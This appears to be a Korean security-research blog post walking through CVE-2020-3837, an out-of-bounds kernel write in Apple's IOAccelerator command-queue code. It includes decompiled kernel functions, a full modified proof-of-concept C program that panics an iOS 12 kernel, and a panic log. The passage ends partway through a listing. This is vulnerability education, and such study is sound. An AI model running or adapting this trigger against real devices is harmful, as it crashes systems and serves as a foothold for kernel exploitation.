콘텐츠로 건너뛰기

[실습] CVE-2020-3837(time_waste) 이해하기

관련 글과 코드들은 아래 링크에서 확인하실 수 있습니다.

https://github.com/wh1te4ever/xnu_1day_practice/blob/main/CVE-2020-3837

버그 알아보기

할당된 커널과 유저랜드 사이의 공유 메모리에서 OOB Write 취약점이 발생하는 취약점이다. 해당 취약점은 IOAccelCommandQueue2::processSegmentKernelCommand()에서 IOAccelKernelCommand를 파싱할 때 사용하는 크기 검사들이 잘못되어서 발생한다.

IOAccelKernelCommand는 8바이트 헤더(명령 타입과 크기)와, 그 뒤에 오는 타입별 구조화된 데이터로 구성된다. 특정 명령 타입에 대해 IOAccelKernelCommand의 크기가 해당 타입에 필요한 데이터를 포함하는지를 검증할 때, 그 검사에서 8바이트 헤더의 크기를 제외하는 것으로 보이며, 그 결과 processSegmentKernelCommand()는 최대 8바이트까지 범위를 벗어난 데이터를 파싱하게 된다.

이러한 명령을 수행하는 명령타입 2는 kIOAccelKernelCommandCollectTimeStamp에 해당된다. 그런데 여기서 mach_absolute_time 타임스탬프 값을 파싱하는 것 뿐만 아니라 쓰기까지 수행된다. 이로 인해 다음 페이지의 처음 1~8바이트가 타임스탬프 데이터로 덮어써질 수 있다.

void __fastcall IOAccelCommandQueue2::processSegmentKernelCommand(
        IOAccelCommandQueue2 *this,
        IOAccelSegmentResourceList *resourceList,
        sIOAccelKernelCommand *kernelCommand,
        sIOAccelKernelCommand *kernelCommandEnd)
{
  uint32_t command_type; // w9
  unsigned __int64 command_size; // x8
  uint32_t error; // w8
  unsigned __int64 command_size_minus_8; // x8
  size_t length; // x22
  void *buffer; // x21
  void *to_free; // x0
  vm_size_t to_free_size; // x1
  int v14; // w8
  IOAccelSegmentResourceList *v15; // x9
  IOAccelSysMemory *accelSysMemory; // x21
  unsigned __int64 v17; // x25
  __int64 v18; // x0
  __int64 address; // x22
  unsigned int v20; // w23
  unsigned int length_1; // w26
  void *buffer_1; // x24

  command_type = kernelCommand->command_type;
  command_size = (char *)kernelCommandEnd - (char *)kernelCommand;
  if ( kernelCommand->command_type != 2 )
  {
    ...
  }  
  
  // kIOAccelKernelCommandCollectTimeStamp = 2
  if ( command_size <= 7 )
  {
    j___os_log_internal_5(
      &IOAcceleratorFamily,
      (os_log_t)&_os_log_default,
      OS_LOG_TYPE_FAULT,
      "%s:kIOAccelKernelCommandCollectTimeStamp: Insufficient bytes (%llu) for sIOAccelKernelCommandCollectTimeStampArgs (%lu)\n",
      "virtual void IOAccelCommandQueue2::processSegmentKernelCommand(IOAccelSegmentResourceList *, const sIOAccelKernelC"
      "ommand *, const sIOAccelKernelCommand *)",
      (char *)kernelCommandEnd - (char *)kernelCommand,
      8);
    goto LABEL_11;
  }
  ***(_QWORD *)&kernelCommand->field_8 = j__mach_absolute_time_75();  // OOB Write
}**

트리거 방법

우선 아래의 PoC 코드를 아이폰8 / iOS 12.0.1 환경에서 실행시켜야 하는데 약간의 변경사항을 적용해놓았다.

원래 게시된 poc 코드 중 서비스를 AGXAccelerator 대신에 IOGraphicsAccelerator2로, IOAccelCommandQueue2_type은 iOS 12에서는 4 대신에 5로 수정시켜주어야 작동하였다.

#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#include <pthread.h>

typedef mach_port_t io_object_t;
typedef io_object_t io_connect_t;
typedef io_object_t io_service_t;
typedef char io_name_t[128];

#define IO_OBJECT_NULL	(MACH_PORT_NULL)
extern const mach_port_t kIOMasterPortDefault;
kern_return_t IOObjectGetClass(io_object_t object, io_name_t className);
kern_return_t IOObjectRelease(io_object_t object);
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect);
kern_return_t IOServiceClose(io_connect_t connect);
CFMutableDictionaryRef IOServiceMatching(const char *name ) CF_RETURNS_RETAINED;
kern_return_t IOConnectAddClient(io_connect_t connect, io_connect_t client);
kern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
kern_return_t IOConnectCallAsyncMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;

const int IOAccelCommandQueue2_type = 5;
const int IOAccelSharedUserClient2_type = 2;
const int IOAccelSharedUserClient2_create_shmem_selector = 5;
const int IOAccelCommandQueue2_set_notification_port_selector = 0;
const int IOAccelCommandQueue2_submit_command_buffers_selector = 1;

struct IOAccelDeviceShmemData {
	void *data;
	uint32_t length;
	uint32_t shmem_id;
};

struct IOAccelCommandQueueSubmitArgs_Header {
	uint32_t _unk_1;
	uint32_t count;
};

struct IOAccelCommandQueueSubmitArgs_Command {
	uint32_t command_buffer_shmem_id;
	uint32_t segment_list_shmem_id;
	uint64_t notify_1;
	uint64_t notify_2;
};

struct IOAccelSegmentListHeader {
	uint32_t field_0;
	uint32_t field_4;
	uint32_t segment_count;
	uint32_t length;
};

struct IOAccelSegmentResourceList_ResourceGroup {
	uint32_t resource_id[6];
	uint8_t field_18[48];
	uint16_t resource_flags[6];
	uint8_t field_54[2];
	uint16_t resource_count;
};

struct IOAccelSegmentResourceListHeader {
	uint64_t field_0;
	uint32_t kernel_commands_start_offset;
	uint32_t kernel_commands_end_offset;
	int total_resources;
	uint32_t resource_group_count;
	struct IOAccelSegmentResourceList_ResourceGroup resource_groups[];
};

struct IOAccelKernelCommand {
	uint32_t type;
	uint32_t size;
};

struct IOAccelKernelCommand_CollectTimeStamp {
	struct IOAccelKernelCommand command;
	uint64_t timestamp;
};

static struct IOAccelDeviceShmemData *
IOAccelSharedUserClient2_create_shmem(io_connect_t IOAccelSharedUserClient2, size_t size) {
	struct IOAccelDeviceShmemData *shmem = malloc(sizeof(*shmem));
	assert(shmem != NULL);
	size_t out_size = sizeof(*shmem);
	uint64_t shmem_size = size;
	kern_return_t kr = IOConnectCallMethod(IOAccelSharedUserClient2,
			IOAccelSharedUserClient2_create_shmem_selector,
			&shmem_size, 1,
			NULL, 0,
			NULL, NULL,
			shmem, &out_size);
	assert(kr == KERN_SUCCESS);
	return shmem;
}

static void
IOAccelCommandQueue2_set_notification_port(io_connect_t IOAccelCommandQueue2, mach_port_t notification_port) {
	kern_return_t kr = IOConnectCallAsyncMethod(IOAccelCommandQueue2,
			IOAccelCommandQueue2_set_notification_port_selector,
			notification_port,
			NULL, 0,
			NULL, 0,
			NULL, 0,
			NULL, NULL,
			NULL, NULL);
	assert(kr == KERN_SUCCESS);
}

static void
IOAccelCommandQueue2_submit_command_buffers(io_connect_t IOAccelCommandQueue2,
		const struct IOAccelCommandQueueSubmitArgs_Header *submit_args,
		size_t size) {
	kern_return_t kr = IOConnectCallMethod(IOAccelCommandQueue2,
				 IOAccelCommandQueue2_submit_command_buffers_selector,
				 NULL, 0,
				 submit_args, size,
				 NULL, NULL,
				 NULL, NULL);
	assert(kr == KERN_SUCCESS);
}

static void *
notification_recv_func(void *arg) {
	mach_port_t notification_port = (mach_port_t)(uintptr_t)arg;
	for (;;) {
		struct {
			mach_msg_header_t hdr;
			uint8_t data[0x4000];
		} msg = {};
		kern_return_t kr = mach_msg(&msg.hdr, MACH_RCV_MSG, 0,
				sizeof(msg), notification_port,
				MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
		if (kr == KERN_SUCCESS) {
			int error = *(int *)((uint8_t *)&msg + 0x94);
			uint64_t notify = *(uint64_t *)((uint8_t *)&msg + 0x64);
			printf("notification %llx: error = %d\n", notify, error);
		}
	}
}

void poc() {
	kern_return_t kr;

	io_service_t IOGraphicsAccelerator2 = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOGraphicsAccelerator2"));
	assert(IOGraphicsAccelerator2 != IO_OBJECT_NULL);
	io_connect_t IOAccelCommandQueue2 = MACH_PORT_NULL;
	IOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelCommandQueue2_type, &IOAccelCommandQueue2);
	assert(IOAccelCommandQueue2 != IO_OBJECT_NULL);
	io_connect_t IOAccelSharedUserClient2 = MACH_PORT_NULL;
	IOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelSharedUserClient2_type, &IOAccelSharedUserClient2);
	assert(IOAccelSharedUserClient2 != IO_OBJECT_NULL);

	kr = IOConnectAddClient(IOAccelCommandQueue2, IOAccelSharedUserClient2);
	assert(kr == KERN_SUCCESS);

	struct IOAccelDeviceShmemData *command_buffer_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);
	struct IOAccelDeviceShmemData *segment_list_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);

	mach_port_t notification_port = 0;
	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &notification_port);
	IOAccelCommandQueue2_set_notification_port(IOAccelCommandQueue2, notification_port);

	pthread_t notification_recv_thread;
	pthread_create(&notification_recv_thread, NULL, notification_recv_func, (void *)(uintptr_t)notification_port);

	struct {
		struct IOAccelCommandQueueSubmitArgs_Header header;
		struct IOAccelCommandQueueSubmitArgs_Command command;
	} submit_args = {};
	submit_args.header.count = 1;
	submit_args.command.command_buffer_shmem_id = command_buffer_shmem->shmem_id;
	submit_args.command.segment_list_shmem_id   = segment_list_shmem->shmem_id;

	struct IOAccelSegmentListHeader *slh = (void *)segment_list_shmem->data;
	slh->length = 0x100;
	slh->segment_count = 1;
	struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);
	srlh->kernel_commands_start_offset = 0;
	srlh->kernel_commands_end_offset = 0x4000;

	struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = (void *)command_buffer_shmem->data;
	cmd1->command.type = 2;
	cmd1->command.size = 0x4000 - 8;
	struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1->command.size);
	cmd2->command.type = 2;
	cmd2->command.size = 8;

#define KTRW 0

	printf("IOAccelCommandQueue2::submit_command_buffers()\n");
#if KTRW
	sleep(4);
#endif
	IOAccelCommandQueue2_submit_command_buffers(IOAccelCommandQueue2, &submit_args.header, sizeof(submit_args));
	printf("timestamp = %llx\n", cmd1->timestamp);
#if KTRW
	sleep(4);
#endif
}

int main(int argc, char *argv[], char *envp[]) {
	dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
		poc();
		usleep(100000);
		exit(1);
	});
	while(1) {};
    return 0;
}

그러면 아래와 같이 패닉이 발생한다.

./jtool2 --symbolicate ~/Downloads/panic-full-2025-08-29-013705.123.ips
Symbolicating /Users/seo/Downloads/panic-full-2025-08-29-013705.123.ips
Looking for companion file matching 95FA03CA-7760-32CB-96B7-6A3C11A54E0E
Companion file: ./kerneldec_1201_8.ARM64.95FA03CA-7760-32CB-96B7-6A3C11A54E0E
Kernel slide: 0x14600000
LR: 0xfffffff0072080f0 SYM: _sleh_synchronous + 0x864
LR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28
LR: 0xfffffff007112080 SYM: _DebuggerSaveState + 0x10
LR: 0xfffffff0071123f8 SYM: _workq_constrained_allowance + 0x1a0
LR: 0xfffffff00711224c SYM: _panic + 0x28
LR: 0xfffffff0072077cc SYM: _panic_with_thread_kernel_state + 0xdc
LR: 0xfffffff0072087f8 SYM: _sleh_synchronous + 0xf6c
LR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28
LR: 0xfffffff006cfea8c SYM: __ZN20IOAccelCommandQueue227processSegmentKernelCommandEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x1c4
LR: 0xfffffff006cfecd4 SYM: __ZN20IOAccelCommandQueue228processSegmentKernelCommandsEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x68
LR: 0xfffffff006cfedc8 SYM: __ZN20IOAccelCommandQueue214processSegmentEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x54
LR: 0xfffffff006cff220 SYM: __ZN20IOAccelCommandQueue220processCommandBufferEjj + 0x224
LR: 0xfffffff006d000ec SYM: __ZN20IOAccelCommandQueue222process_command_bufferEjj + 0x3ec
LR: 0xfffffff006cfe5d0 SYM: __ZN20IOAccelCommandQueue221submit_command_bufferEjjyy + 0xd0
LR: 0xfffffff006cfe3dc SYM: __ZN20IOAccelCommandQueue222submit_command_buffersEPK29IOAccelCommandQueueSubmitArgs + 0x270
LR: 0xfffffff006cfd624 SYM: __ZN20IOAccelCommandQueue224s_submit_command_buffersEPS_PvP25IOExternalMethodArguments + 0x11c
LR: 0xfffffff0075ec894 SYM: __ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x1bc
LR: 0xfffffff0075f4594 SYM: _is_io_connect_method + 0x18c
LR: 0xfffffff0071de830 SYM: __Xio_connect_method + 0x180
LR: 0xfffffff0070f6080 SYM: _ipc_kmsg_send + 0x394
LR: 0xfffffff0071084f0 SYM: _mach_msg_overwrite_trap + 0x9b8
LR: 0xfffffff007208898 SYM: _sleh_synchronous + 0x100c
LR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28
LR: 0x1750d9ed0 SYM: (null) + 0x28
...

Panic Log:
panic(cpu 0 caller 0xfffffff01b8077cc): Kernel data abort. (saved state: 0xffffffe03d582bc0)
x0: 0x000000007cd5e02e  x1:  0xffffffe000a93900  x2:  0xffffffe032ccfff8  x3:  0xffffffe032cd0000
x4: 0xfffffff01b2fe8c8  x5:  0x000000000000166c  x6:  0x0000000000000000  x7:  0xffffffe005da8200
x8: 0x000000007cd5e02e  x9:  0x0000000000000000  x10: 0x0000000000003107  x11: 0x0000000000000140
x12: 0xfffffff01bc8d9d0 x13: 0xffffffe000a90308  x14: 0x0000000000000005  x15: 0xffffffe032cd8000
x16: 0xfffffff01b80c574 x17: 0x0000000000000003  x18: 0xfffffff01b6dd000  x19: 0xffffffe001aeb000
x20: 0xffffffe032ccfff8 x21: 0xffffffe000a93900  x22: 0xffffffe032cd0000  x23: 0x0000000000000010
x24: 0x0000000000004000 x25: 0x0000000000000000  x26: 0xffffffe032ba4010  x27: 0xffffffe000a93900
x28: 0xffffffe032ba4028 fp:  0xffffffe03d582f70  lr:  0xfffffff01b2fea8c  sp:  0xffffffe03d582f10
pc:  0xfffffff01b2fea8c cpsr: 0x20400304         esr: 0x96000047          far: 0xffffffe032cd0000
Debugger message: panic
Memory ID: 0xff
OS version: 16A404
Kernel version: Darwin Kernel Version 18.0.0: Tue Aug 14 22:07:16 PDT 2018; root:xnu-4903.202.2~1\\/RELEASE_ARM64_T8015
...

Crashed at:
com.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA88 loc_FFFFFFF006CFEA88                    ; CODE XREF: IOAccelCommandQueue2::processSegmentKernelCommand(IOAccelSegmentResourceList *,IOAccelKernelCommand const*,IOAccelKernelCommand const*)+84↑j
com.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA88                 BL              j__mach_absolute_time_75
com.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA8C                 STR             X0, [X20,#8] <---- CRASH POINT !!!!
com.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA90                 B               loc_FFFFFFF006CFEA00

돌아와서 POC 코드를 다시한번 살펴보자.

1. IOGraphicsAccelerator2 서비스 클라이언트 연결

먼저 IOServiceGetMatchingService 함수로 그래픽 가속화 관련 서비스인 IOGraphicsAccelerator2 서비스를 찾는다. 이후로 IOServiceOpen 함수를 호출하는데, 보통 사용자 공간 프로세스가 커널에 등록된 I/O 서비스 드라이버에 유저 클라이언트를 여는데 주로 활용된다.

그리고 IOConnectAddClient 함수를 호출하여 해당 타입으로 열린 각각의 유저 클라이언트는 핸들을 서로 연결시켜, 한 쪽이 다른 쪽이 만든 리소스나 매핑을 이용할 수 있도록 만든다.

void poc() {
	kern_return_t kr;

	io_service_t IOGraphicsAccelerator2 = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOGraphicsAccelerator2"));
	assert(IOGraphicsAccelerator2 != IO_OBJECT_NULL);
	io_connect_t IOAccelCommandQueue2 = MACH_PORT_NULL;
	IOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelCommandQueue2_type, &IOAccelCommandQueue2);
	assert(IOAccelCommandQueue2 != IO_OBJECT_NULL);
	io_connect_t IOAccelSharedUserClient2 = MACH_PORT_NULL;
	IOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelSharedUserClient2_type, &IOAccelSharedUserClient2);
	assert(IOAccelSharedUserClient2 != IO_OBJECT_NULL);

	kr = IOConnectAddClient(IOAccelCommandQueue2, IOAccelSharedUserClient2);
	assert(kr == KERN_SUCCESS);

IOServiceOpen 함수는 3번째 인자에 user_client 타입이 필요로 하는데, IOGraphicsAccelerator2 서비스의 경우, kernelcache에서 IOGraphicsAccelerator2::newUserClient 함수를 통해 각 타입에 따라 어떤 역할을 수행하는지 알 수 있다.

newUserClient 함수를 더 정확히 살펴봐야 알겠지만, IOGraphicsAccelerator2 관련 서비스의 userclient 타입 2는 IOAccelContext2 객체를, 타입 5는 IOAccelDevice2 객체를 각각 초기화하는것을 볼 수 있었다.

__int64 __fastcall IOGraphicsAccelerator2::newUserClient(
        struct_a1 *a1,
        task *a2,
        __int64 securityID,
        __int64 type,
        IOUserClient **a5)
{
  __int64 v9; // x19
  proc *bsdtask_info_9; // x0
  __int64 v11; // x27
  int CountWithPID; // w24
  int v13; // w25
  int v14; // w26
  int v15; // w0
  unsigned int v16; // w9
  unsigned int dwordBBC; // w8
  __int64 v18; // x0
  IOUserClient *v19; // x23
  __int64 v20; // x0
  __int64 v21; // x0
  __int64 v22; // x0
  __int64 i; // x0
  __int64 j; // x0
  _BYTE v26[8]; // [xsp+38h] [xbp-58h] BYREF

  v9 = 0xE00002BELL;
  if ( !a2 )
    return 0xE00002C2LL;
  *a5 = 0;
  a1->dword93C = 1;
  j__OSIncrementAtomic_29(&a1->sint3290);
  j__lck_mtx_lock_14(a1->plck_mtx88);
  j__OSDecrementAtomic_2(&a1->sint3290);
  ((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1->IOGA2_vt->field_538)(a1, &empty, 0);
  bsdtask_info_9 = (proc *)j__get_bsdtask_info_9(a2);
  if ( bsdtask_info_9 )
  {
    v11 = j__proc_pid_13(bsdtask_info_9);
    CountWithPID = IOAccelContextList::getCountWithPID(&a1->pqword9D8, v11);
    v13 = IOAccelCommandQueueList::getCountWithPID(&a1->gap9E0[8], v11);
    v14 = IOAccelSharedUserClientList::getCountWithPID(&a1->gap9E0[56], v11);
    v15 = IOAccelDeviceList::getCountWithPID(&a1->gap9E0[24], v11);
    v16 = v13 + CountWithPID + v14 + v15;
    dwordBBC = a1->dwordBBC;
    if ( v16 <= dwordBBC )
    {
      if ( v16 > a1->dwordBB8 )
        j___os_log_internal_5(
          &IOAcceleratorFamily,
          (os_log_t)&_os_log_default,
          OS_LOG_TYPE_FAULT,
          "%s: Too many contexts (%d) + queues (%d) + device (%d) + shared (%d) created, possibly leaking?\n",
          "virtual IOReturn IOGraphicsAccelerator2::newUserClient(task_t, void *, UInt32, IOUserClient **)",
          CountWithPID,
          v13,
          v15,
          v14);
    }
    else
    {
      j___os_log_internal_5(
        &IOAcceleratorFamily,
        (os_log_t)&_os_log_default,
        OS_LOG_TYPE_FAULT,
        "%s: contexts(%d) + queues (%d) + device (%d) + shared (%d) exceeding limit (%d), failing context creation\n",
        "virtual IOReturn IOGraphicsAccelerator2::newUserClient(task_t, void *, UInt32, IOUserClient **)",
        CountWithPID,
        v13,
        v15,
        v14,
        dwordBBC);
      if ( (a1->byteB5C & 8) != 0 )
      {
        ((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1->IOGA2_vt->__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(
          a1,
          &empty,
          0);
        j__lck_mtx_unlock_14(a1->plck_mtx88);
        return 0xE0078001LL;
      }
    }
  }
  ((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1->IOGA2_vt->__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(
    a1,
    &empty,
    0);
  j__lck_mtx_unlock_14(a1->plck_mtx88);
  switch ( (int)type )
  {
  ...
    case 2:                                     // kIOAccelContext2Type
      v20 = ((__int64 (__fastcall *)(struct_a1 *))a1->IOGA2_vt->field_688)(a1);// sub_FFFFFFF006D0F980
      v19 = (IOUserClient *)v20;
      if ( v20 )
      {
        if ( IOAccelContext2::init(v20, 0, a2) )
          goto LABEL_17;
        goto LABEL_22;
      }
      break;
    case 3:
...
LABEL_17:
        if ( !((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19->attach)(v19, a1) )
          goto LABEL_40;
        if ( !((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19->start)(v19, a1) )
        {
          if ( OSMetaClassBase::safeMetaCast(v19, &stru_FFFFFFF0078C61D0) )
          {
            sub_FFFFFFF006CE668C(v26, &a1->gap9E0[24]);
            for ( i = sub_FFFFFFF006CE6698(v26); i; i = sub_FFFFFFF006CE6698(v26) )
            {
              if ( (IOUserClient *)i == v19 )
                j__panic_21(
                  "\"Did you forget to call deviceStop when deviceStart failed?\"@/BuildRoot/Library/Caches/com.apple.xbs"
                  "/Sources/IOAcceleratorFamily/IOAcceleratorFamily-398.8.1/Kext2/IOGraphicsAccelerator.cpp:1706");
            }
          }
          else if ( OSMetaClassBase::safeMetaCast(v19, &stru_FFFFFFF0078C64C8) )
          {
            sub_FFFFFFF006CE6900(v26, &a1->gap9E0[56]);
            for ( j = sub_FFFFFFF006CE690C(v26); j; j = sub_FFFFFFF006CE690C(v26) )
            {
              if ( (IOUserClient *)j == v19 )
                j__panic_21(
                  "\"Did you forget to call sharedStop when sharedStart failed?\"@/BuildRoot/Library/Caches/com.apple.xbs"
                  "/Sources/IOAcceleratorFamily/IOAcceleratorFamily-398.8.1/Kext2/IOGraphicsAccelerator.cpp:1716");
            }
          }
          ((void (__fastcall *)(IOUserClient *, struct_a1 *))v19->detach)(v19, a1);
          goto LABEL_40;
        }
        *a5 = v19;
        ((void (__fastcall *)(IOUserClient *))v19->retain)(v19);
        v9 = 0;
      }
      break;
    case 5:                                     // kIOAccelDevice2Type
      v22 = a1->IOGA2_vt->__ZN22IOGraphicsAccelerator29newDeviceEv((IOGraphicsAccelerator2 *)a1);
      v19 = (IOUserClient *)v22;
      if ( v22 )
      {
        if ( !IOAccelDevice2::init(v22, 0, a2) )
          goto LABEL_22;
        goto LABEL_26;
      }
      break;
    default:
      v21 = a1->IOGA2_vt->__ZN22IOGraphicsAccelerator210newContextEj((IOGraphicsAccelerator2 *)a1, type);
      v19 = (IOUserClient *)v21;
      if ( !v21 )
        return 0xE00002C2LL;
      if ( IOAccelContext2::init(v21, 0, a2) )
      {
LABEL_26:
        if ( ((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19->attach)(v19, a1) )
        {
          v9 = 0;
          *a5 = v19;
        }
        else
        {
LABEL_40:
          ((void (__fastcall *)(IOUserClient *))v19->release_0)(v19);
          v9 = 0xE00002C9LL;
        }
      }
      else
      {
LABEL_22:
        ((void (__fastcall *)(IOUserClient *))v19->release_0)(v19);
      }
      break;
  }
  return v9;
}

2. 공유 메모리 생성

2개의 커널과 유저 프로세스 공유하는 메모리를 각각 0x4000 크기만큼 할당시킨다.

const int IOAccelSharedUserClient2_create_shmem_selector = 5;
...
static struct IOAccelDeviceShmemData *
IOAccelSharedUserClient2_create_shmem(io_connect_t IOAccelSharedUserClient2, size_t size) {
	struct IOAccelDeviceShmemData *shmem = malloc(sizeof(*shmem));
	assert(shmem != NULL);
	size_t out_size = sizeof(*shmem);
	uint64_t shmem_size = size;
	kern_return_t kr = IOConnectCallMethod(IOAccelSharedUserClient2,
			IOAccelSharedUserClient2_create_shmem_selector,
			&shmem_size, 1,
			NULL, 0,
			NULL, NULL,
			shmem, &out_size);
	assert(kr == KERN_SUCCESS);
	return shmem;
}
...
struct IOAccelDeviceShmemData *command_buffer_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);
	struct IOAccelDeviceShmemData *segment_list_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);

이러한 이유는 IOAccelCommandQueue2::submit_command_buffer 함수를 호출시킬때, 하나는 kcmd_shmem, 다른 하나는 seglist_shmem으로 각각의 공유메모리 2개를 전달시킬 필요가 있기 때문이다.

__int64 __fastcall IOAccelCommandQueue2::submit_command_buffers(
        IOAccelCommandQueue2 *this,
        IOAccelCommandQueue2Args *args)
{
  __int64 ret; // x21
  IOGraphicsAccelerator2 *graphicsAccelerator; // x22
  IOGraphicsAccelerator2 *graphicsAccelerator2; // x19
  unsigned __int64 idx; // x25
  uintptr_t pid; // x22
  uintptr_t cq_id; // x23
  uintptr_t v10; // x24
  uintptr_t RegistryEntryID; // x0
  IOGraphicsAccelerator2 *v12; // x22
  IOGraphicsAccelerator2 *v13; // x22
  uintptr_t v14; // x22
  uintptr_t v15; // x23
  uintptr_t v16; // x24
  uintptr_t v17; // x0
  IOGraphicsAccelerator2 *v18; // x0
  IOGraphicsAccelerator2 *v19; // x19

  ret = 0xE00002BCLL;
  graphicsAccelerator = this->graphicsAccelerator2;
  j__OSIncrementAtomic_29(&graphicsAccelerator->lockCount);
  j__lck_mtx_lock_14(graphicsAccelerator->lock);
  j__OSDecrementAtomic_2(&graphicsAccelerator->lockCount);
  IOGraphicsAccelerator2::lock_busy();
  ((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))graphicsAccelerator->vtable->__ZN22IOGraphicsAccelerator218acceleratorDidLockEPKci)(
    graphicsAccelerator,
    &empty,
    0);
  if ( this->submit_command_buffers_busy )
  {
    ....
    return 0xE00002E2LL;
  }
  else
  {
    ...
      if ( args->count )
      {
        idx = 0;
        do
        {
          if ( (((__int64 (__fastcall *)(IOAccelCommandQueue2 *))this->vtable->__ZN20IOAccelCommandQueue222canSubmitCommandBufferEv)(this)
              & 1) == 0 )
          {
            pid = (unsigned int)this->pid;
            cq_id = this->cq_id;
            v10 = *(unsigned int *)&this->gap2[11];
            RegistryEntryID = IORegistryEntry::getRegistryEntryID((IORegistryEntry *)this->graphicsAccelerator2);
            j__kernel_debug_10(0x85020080, pid, cq_id, v10, RegistryEntryID, 0);
            ...
          }
          **IOAccelCommandQueue2::submit_command_buffer(
            this,
            args->command[idx].kcmd_shmem,
            args->command[idx].seglist_shmem,
            *(_QWORD *)&args->command[idx].notify_1,
            *(_QWORD *)&args->command[idx].notify_2);**
          ++idx;
        }
        while ( idx < args->count );
      }
      v18 = this->graphicsAccelerator2;
      *(_DWORD *)&v18[21].gap8[72] = this->pid;
      IOGraphicsAccelerator2::enable_gart_collector((__int64)v18);
      ret = 0;
    ...
  }
  return ret;
}

3. OOB Write 트리거시키기

앞서 IOAccelCommandQueue2::submit_command_buffers를 호출하기 전에 IOAccelCommandQueue2::set_notification_port를 먼저 호출해야 한다.

mach_port_allocate수신용(mach receive) 포트인 notification_port를 만든 뒤, 그 포트를 set_notification_port 함수에 전달하여 호출하여 비동기 알림 포트를 등록한다.

마지막으로, pthread_create로 비동기적으로 스레드를 띄워 mach_msg 함수로 알림을 계속 받게끔 한다.

static void
IOAccelCommandQueue2_set_notification_port(io_connect_t IOAccelCommandQueue2, mach_port_t notification_port) {
	kern_return_t kr = IOConnectCallAsyncMethod(IOAccelCommandQueue2,
			IOAccelCommandQueue2_set_notification_port_selector,
			notification_port,
			NULL, 0,
			NULL, 0,
			NULL, 0,
			NULL, NULL,
			NULL, NULL);
	assert(kr == KERN_SUCCESS);
}

...

static void *
notification_recv_func(void *arg) {
	mach_port_t notification_port = (mach_port_t)(uintptr_t)arg;
	for (;;) {
		struct {
			mach_msg_header_t hdr;
			uint8_t data[0x4000];
		} msg = {};
		kern_return_t kr = mach_msg(&msg.hdr, MACH_RCV_MSG, 0,
				sizeof(msg), notification_port,
				MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
		if (kr == KERN_SUCCESS) {
			int error = *(int *)((uint8_t *)&msg + 0x94);
			uint64_t notify = *(uint64_t *)((uint8_t *)&msg + 0x64);
			printf("notification %llx: error = %d\n", notify, error);
		}
	}
}

...

	mach_port_t notification_port = 0;
	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &notification_port);
	IOAccelCommandQueue2_set_notification_port(IOAccelCommandQueue2, notification_port);

	pthread_t notification_recv_thread;
	pthread_create(&notification_recv_thread, NULL, notification_recv_func, (void *)(uintptr_t)notification_port);

이러한 수신용 알림 포트를 만들어야되는 이유는, 만들지 않을 경우 IOAccelCommandQueue2::submit_command_buffers 에서 0xE00002BC 에러값을 반환한다.

*(_QWORD *)&this->gap1[4] 가 NULL이 아니어야 에러코드를 반환하지 않는다.

__int64 __fastcall IOAccelCommandQueue2::submit_command_buffers(
        IOAccelCommandQueue2 *this,
        IOAccelCommandQueue2Args *args)
{
  __int64 ret; // x21
  IOGraphicsAccelerator2 *graphicsAccelerator; // x22
  IOGraphicsAccelerator2 *graphicsAccelerator2; // x19
  unsigned __int64 idx; // x25
